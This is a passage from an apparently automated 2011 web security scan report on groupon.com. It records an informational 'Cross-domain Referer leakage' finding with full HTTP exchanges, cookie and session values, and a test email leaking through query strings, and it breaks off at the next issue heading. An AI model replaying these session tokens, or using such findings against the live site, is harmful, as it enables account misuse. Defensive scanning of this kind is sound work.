Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.19.2.1299001244132; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; adchemy_id=; division=san-jose; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874
Content-Length: 165

_method=put&user_profile%5Buser_identity%5D%5Bgender%5D=&user_profile%5Buser_identity%5D%5Bbirth_year%5D=&user_profile%5Buser_identity%5D%5Bzipcode%5D=&commit=Submit

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:48:50 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:48:50 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:48:50 GMT; HttpOnly
Status: 302
Location: http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622
X-Runtime: 88
Cache-Control: no-cache
Content-Length: 178
Connection: keep-alive

<html><body>You are being <a href="http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&amp;_=1298999611622">redirected</a>.</body></html>

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/deals/pure-barre-los-gatos-1

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; subscriber_email=test%40fastdial.net; division=san-jose; email=test%40fastdial.net; visited=true; __utmz=44473723.1297805174.1.4.utmcsr=newsletter|utmccn=laser-and-cosmetic-center|utmcmd=email; __utma=44473723.1103413385.1297805149.1297805149.1297805149.1; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: utm_term=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpmed=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_campaign=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: b=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: external_uid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpoid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref2=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpuid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_source=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_content=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_medium=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpcid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpaid=newsletter; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: _tpmed=email; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: s=29108ae4-4427-11e0-ae71-005056952866; path=/
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:00 GMT; HttpOnly
Status: 200
ETag: "2c59701df41e4f9c877f397fdffda210"
X-S-COOKIE: 29108ae4-4427-11e0-ae71-005056952866
X-Runtime: 161
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...
<head>
<link href='http://assets1.grouponcdn.com/favicon.ico?Jzth5gNo' rel='SHORTCUT ICON' />
<script type="text/javascript">
...[SNIP]...
<meta content='text/html;charset=utf-8' http-equiv='Content-Type' />
<link href="http://feeds.feedburner.com/grouponsan-jose" rel="alternate" title="RSS" type="application/rss+xml" />
<link href="http://assets1.grouponcdn.com/stylesheets/base.css?-r1wfD6Q" media="screen" rel="stylesheet" type="text/css" />
<link href="http://assets1.grouponcdn.com/stylesheets/app/deals/show.css?mWGaSnRG" media="screen" rel="stylesheet" type="text/css" />
<!--[if IE 6]>
...[SNIP]...
</script>
<link href='http://assets1.grouponcdn.com/groupon.ico?Jzth5gNo' rel='icon' />
</head>
...[SNIP]...
<a href="/set_home_area?home_area=tacoma" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=seattle" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=dc-metro" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=northern-virginia" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=montgomery-county" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=los-angeles" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=san-gabriel-valley" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=san-fernando-valley" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=san-francisco" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
<a href="/set_home_area?home_area=east-bay" class="setArea" title="Set neighborhood"><img alt="Set neighborhood" src="http://assets1.grouponcdn.com/images/groupon/icons/icon_house.gif?rWAapTMb" /></a>
...[SNIP]...
</li>
<a href="http://groupon.ca">Montreal</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.at" class="G_event E-Drawer_click_Austria">Austria</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.be" class="G_event E-Drawer_click_Belgium">Belgium</a>
...[SNIP]...
<li class='country'><a href="http://www.clubeurbano.com.br" class="G_event E-Drawer_click_Brazil">Brazil</a>
...[SNIP]...
<li class='country'><a href="http://www.clandescuento.com/countries/s/chile" class="G_event E-Drawer_click_Chile">Chile</a>
...[SNIP]...
<li class='country'><a href="http://www.mycitydeal.dk" class="G_event E-Drawer_click_Denmark">Denmark</a>
...[SNIP]...
<li class='country'><a href="http://www.citydeal.fi" class="G_event E-Drawer_click_Finland">Finland</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.fr" class="G_event E-Drawer_click_France">France</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.de" class="G_event E-Drawer_click_Germany">Germany</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.gr" class="G_event E-Drawer_click_Greece">Greece</a>
...[SNIP]...
<li class='country'><a href="http://www.ubuyibuy.com" class="G_event E-Drawer_click_Hong Kong">Hong Kong</a>
...[SNIP]...
<li class='country'><a href="http://www.citydeal.ie" class="G_event E-Drawer_click_Ireland">Ireland</a>
...[SNIP]...
<li class='country'><a href="http://www.citydeal.it" class="G_event E-Drawer_click_Italy">Italy</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.jp" class="G_event E-Drawer_click_Japan">Japan</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.nl" class="G_event E-Drawer_click_Netherlands">Netherlands</a>
...[SNIP]...
<li class='country'><a href="http://www.mycitydeal.no" class="G_event E-Drawer_click_Norway">Norway</a>
...[SNIP]...
<li class='country'><a href="http://www.beeconomic.com.ph" class="G_event E-Drawer_click_Philippines">Philippines</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.pl" class="G_event E-Drawer_click_Poland">Poland</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.sg" class="G_event E-Drawer_click_Singapore">Singapore</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.es" class="G_event E-Drawer_click_Spain">Spain</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.se" class="G_event E-Drawer_click_Sweden">Sweden</a>
...[SNIP]...
<li class='country'><a href="http://www.groupon.ch" class="G_event E-Drawer_click_Switzerland">Switzerland</a>
...[SNIP]...
<li class='country'><a href="http://www.atlaspost.com/buy" class="G_event E-Drawer_click_Taiwan">Taiwan</a>
...[SNIP]...
<li class='country'><a href="http://www.sehirfirsati.com" class="G_event E-Drawer_click_Turkey">Turkey</a>
...[SNIP]...
<div class='countdown_container clearfix'>
<img alt="Hourglass002" class="hourglass" src="http://assets1.grouponcdn.com/images/groupon/icons/hourglass/hourglass002.gif?7cD-xrqw" />
<ul id='counter'>
...[SNIP]...
<span><img alt="" class="ib" height="28" src="http://assets1.grouponcdn.com/images/groupon/icons/tipometer/check_mark.png?SxxwvrIa" title="" width="27" />The deal is on!</span>
...[SNIP]...
<li title = "Share with twitter." class="twitter_share">
<a href="http://twitter.com/share?url=http%3A%2F%2Fwww.groupon.com%2Fsan-jose%2Fdeals%2Fpure-barre-los-gatos-1%3Futm_campaign%3DVisitorReferral%26amp%3Butm_medium%3Dtwitter%26amp%3Butm_source%3Danonymous&amp;text=%2440%20for%20Four%20Body-Toning%2C%20Fat-Burning%20Workout%20Classes%20at%20Pure%20Barre%20%20-%20%2488%20Value..." class="sprite tw G_event E-Share_Twitter_deal" data-google-analytics-tags="">
Tweet!
</a>
...[SNIP]...
<li><img alt="Pure-barre4_los-gatos" src="http://assets1.grouponcdn.com/images/site_images/0616/9903/Pure-Barre4_Los-Gatos.jpg?BPAIUc4q" width="440" /></li>
...[SNIP]...
juggling hammers while riding a tandem bike through a swimming pool. Today's Groupon invites your physique to try a new kind of fusion exercise: for $40, you get four ballet-Pilates-weights classes at <a href="http://www.purebarre.com/CA-losgatos/index.html">Pure Barre</a> in Los Gatos (an $88 value). With <a href="https://clients.mindbodyonline.com/asp/home.asp?studioid=8734">classes scheduled</a>
...[SNIP]...
<p>Devised by Pure Barre founder <a href="http://purebarre.com/p-people.html">Carrie Rezabek</a>
...[SNIP]...
<p><a href="http://www.la2day.com/health_beauty/pure_barre_sets_the_bar_for_results_oriented_workouts"><em>LA2DAY</em></a> and <a href="http://www.la.com/ci_12185175?source=rss">LA.com</a> have written about Pure Barre, and the <a href="http://latimesblogs.latimes.com/holiday-gift-guide/2009/11/pure-barre-offers-discounted-packages-for-the-holidays.html">LA
Times</a> featured it as a way to lose holiday stuffing. 14 <a href="http://www.yelp.com/biz/pure-barre-los-gatos-los-gatos">Yelpers</a> give it a 4.5-star average, and more than 530 people like it on <a href="http://gr.pn/eXYRSA">Facebook</a>
...[SNIP]...
<li>Anyone with a background in ballet can attest to the ass-kicking results that barre work produces ...
<a href="http://www.la.com/ci_12185175?source=rss">Lyndsey Saul, LA.com</a>
...[SNIP]...
<li>If you're looking for a truly effective workout with energizing music and a positive vibe, you can't beat Pure Barre Los Gatos! ... <a href="http://www.yelp.com/biz/pure-barre-los-gatos-los-gatos#hrid:yDwZrb9zlsH1NLi0jD7atw">catherine l, Yelp, 7/9/10</a>
...[SNIP]...
<li class='twitter'><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.groupon.com%2Fgroupon_says%2Fgroupon-says-33063426&amp;text=Is%20showing%20up%20for%20a%20party%20a%20day%20early%20considered%20...fashionably%20early...%3F%20-%20" class="G_event E-Follow_Twitter_GrouponSays tw" title="Follow Groupon Says on Twitter">Share this on Twitter</a>
...[SNIP]...
<li><a href="http://www.purebarre.com/CA-losgatos/index.html" class="G_event E-Company_linkout_Location">Company Website</a>
...[SNIP]...
<div class='map_container'>
<img alt="Staticmap?size=186x186&amp;sensor=false&amp;markers=color:red|size:mid|37" class="gmap_static" src="http://maps.google.com/maps/api/staticmap?size=186x186&amp;sensor=false&amp;markers=color:red|size:mid|37.223461,-121.981903" />
<div class='info_bubble' id='map_info_bubble'>
...[SNIP]...
<div class="modal_top"><img alt="" class="modal_close" height="39" id="close" src="http://assets1.grouponcdn.com/images/groupon/overlays/btn/x-close-large.png?WcTqZeiv" width="39" /></div>
...[SNIP]...
<div class='map_container'>
<img alt="Staticmap?size=280x280&amp;sensor=false&amp;markers=color:red|size:mid|37" class="gmap_static" src="http://maps.google.com/maps/api/staticmap?size=280x280&amp;sensor=false&amp;markers=color:red|size:mid|37.223461,-121.981903" />
</div>
...[SNIP]...
<br />
<a href="http://maps.google.com/maps?f=d&amp;daddr=50+University+Ave.+Suite+B-101+Los+Gatos+California+95030">Get Directions</a>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__sidedeal" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__sidedeal.jpg?PDspCgb9" /></a>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Price_tag_view" src="http://assets1.grouponcdn.com/images/groupon/price_tag_view.png?AFizOWHs" /></a>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Price_tag_view" src="http://assets1.grouponcdn.com/images/groupon/price_tag_view.png?AFizOWHs" /></a>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Price_tag_view" src="http://assets1.grouponcdn.com/images/groupon/price_tag_view.png?AFizOWHs" /></a>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__grid_3" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__grid_3.jpg?3ma1AvCV" /></a>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="San-jose-chamber-orchestra2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0633/1101/San-Jose-Chamber-Orchestra2_grid_3.jpg?J-fAnUdp" /></a>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Cinequest2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/2701/Cinequest2_grid_3.jpg?C8zL7Zgu" /></a>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Specialty-sports-colorado-ski-and-golf_-breeze_any-mountain-the-great-outdoor-store2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/5868/Specialty-Sports-Colorado-Ski-and-Golf_-Breeze_Any-Mountain-The-Great-Outdoor-Store2_grid_3.jpg?Ej7prn5J" /></a>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__grid_3" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__grid_3.jpg?3ma1AvCV" /></a>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="San-jose-chamber-orchestra2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0633/1101/San-Jose-Chamber-Orchestra2_grid_3.jpg?J-fAnUdp" /></a>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Cinequest2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/2701/Cinequest2_grid_3.jpg?C8zL7Zgu" /></a>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Specialty-sports-colorado-ski-and-golf_-breeze_any-mountain-the-great-outdoor-store2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/5868/Specialty-Sports-Colorado-Ski-and-Golf_-Breeze_Any-Mountain-The-Great-Outdoor-Store2_grid_3.jpg?Ej7prn5J" /></a>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__grid_3" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__grid_3.jpg?3ma1AvCV" /></a>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="San-jose-chamber-orchestra2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0633/1101/San-Jose-Chamber-Orchestra2_grid_3.jpg?J-fAnUdp" /></a>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Cinequest2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/2701/Cinequest2_grid_3.jpg?C8zL7Zgu" /></a>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Specialty-sports-colorado-ski-and-golf_-breeze_any-mountain-the-great-outdoor-store2_grid_3" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/5868/Specialty-Sports-Colorado-Ski-and-Golf_-Breeze_Any-Mountain-The-Great-Outdoor-Store2_grid_3.jpg?Ej7prn5J" /></a>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage title"><img alt="Small_price_tag" src="http://assets1.grouponcdn.com/images/groupon/icons/small_price_tag.gif?-yiwnt5m" /><strong>
...[SNIP]...
<a href="/deals/poppy-hills?c=dnb&amp;p=1" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__sidedeal" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__sidedeal.jpg?PDspCgb9" /></a>
...[SNIP]...
<a href="/deals/spring-has-sprung?c=dnb&amp;p=2" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="San-jose-chamber-orchestra2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0633/1101/San-Jose-Chamber-Orchestra2_sidedeal.jpg?4vgl9c9M" /></a>
...[SNIP]...
<a href="/deals/cinequest?c=dnb&amp;p=3" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Cinequest2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/2701/Cinequest2_sidedeal.jpg?nIHr26-E" /></a>
...[SNIP]...
<a href="/deals/any-mountain?c=dnb&amp;p=4" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Specialty-sports-colorado-ski-and-golf_-breeze_any-mountain-the-great-outdoor-store2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/5868/Specialty-Sports-Colorado-Ski-and-Golf_-Breeze_Any-Mountain-The-Great-Outdoor-Store2_sidedeal.jpg?8nHrEKgi" /></a>
...[SNIP]...
<a href="/san-jose/all" alt="$70 for 18 Holes of Golf at Poppy Hills Golf Course and NCGA Membership ($147 Value)" class="sidedeal G_event E-DealsNearBy_ClickViewDeal_DealPage"><img alt="Poppy-hills-golf-course-_san-jose__sidedeal" src="http://assets1.grouponcdn.com/images/site_images/0634/5347/Poppy-Hills-Golf-Course-_San-Jose__sidedeal.jpg?PDspCgb9" /></a>
...[SNIP]...
<a href="/san-jose/all" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="San-jose-chamber-orchestra2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0633/1101/San-Jose-Chamber-Orchestra2_sidedeal.jpg?4vgl9c9M" /></a>
...[SNIP]...
<a href="/san-jose/all" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Cinequest2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/2701/Cinequest2_sidedeal.jpg?nIHr26-E" /></a>
...[SNIP]...
<a href="/san-jose/all" class="G_event E-DealsNearBy_ClickViewDeal_DealPage thumb_img"><img alt="Specialty-sports-colorado-ski-and-golf_-breeze_any-mountain-the-great-outdoor-store2_sidedeal" class="small_rectangular" src="http://assets1.grouponcdn.com/images/site_images/0637/5868/Specialty-Sports-Colorado-Ski-and-Golf_-Breeze_Any-Mountain-The-Great-Outdoor-Store2_sidedeal.jpg?8nHrEKgi" /></a>
...[SNIP]...
</h3>
<img alt="The Groupon Promise" src="http://assets1.grouponcdn.com/images/groupon/merchants/groupon-promise.png?axl8XglH" />
<p>
...[SNIP]...
<dt class='bucket works'>
<a href="http://www.grouponworks.com"><span>
...[SNIP]...
<dd>
Learn how to get your business featured on Groupon and enjoy the benefits.
<a href="http://www.grouponworks.com" title="GrouponWorks for your business">Learn more</a>
...[SNIP]...
<dd><a href="http://www.twitter.com/grouponsanjose" class="sprite twitter">Follow Groupon on Twitter</a>
...[SNIP]...
<dd><a href="http://www.facebook.com/grouponsanjose" class="sprite facebook">Follow Groupon on Facebook</a>
...[SNIP]...
<dd><a href="http://feeds.feedburner.com/grouponsan-jose" class="sprite rss">Follow Groupon RSS</a>
...[SNIP]...
<dd><a href="http://www.liveoffgroupon.com">Live Off Groupon</a>
...[SNIP]...
<dd><a href="http://www.meetup.com/groupon">Groupon Meetups</a>
...[SNIP]...
<dd><a href="http://www.cafepress.com/groupon">Groupon Gear</a>
...[SNIP]...
<dd><a href="http://www.flickr.com/photos/grouponcorporate/sets">Groupon Flickr</a>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/application.js?TejW351l" type="text/javascript"></script>
...[SNIP]...
<![endif]-->
<script src="http://assets1.grouponcdn.com/javascripts/common/tooltip.js?YQelxRZ9" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/deal_page.js?bjmlvcjw" type="text/javascript"></script>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/facebook.js?rpq--NbY" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets1.grouponcdn.com/javascripts/app/deals/show.js?hPqXFwmo" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/javascripts/common/demographic_form_banner.js?oflEbeJc" type="text/javascript"></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

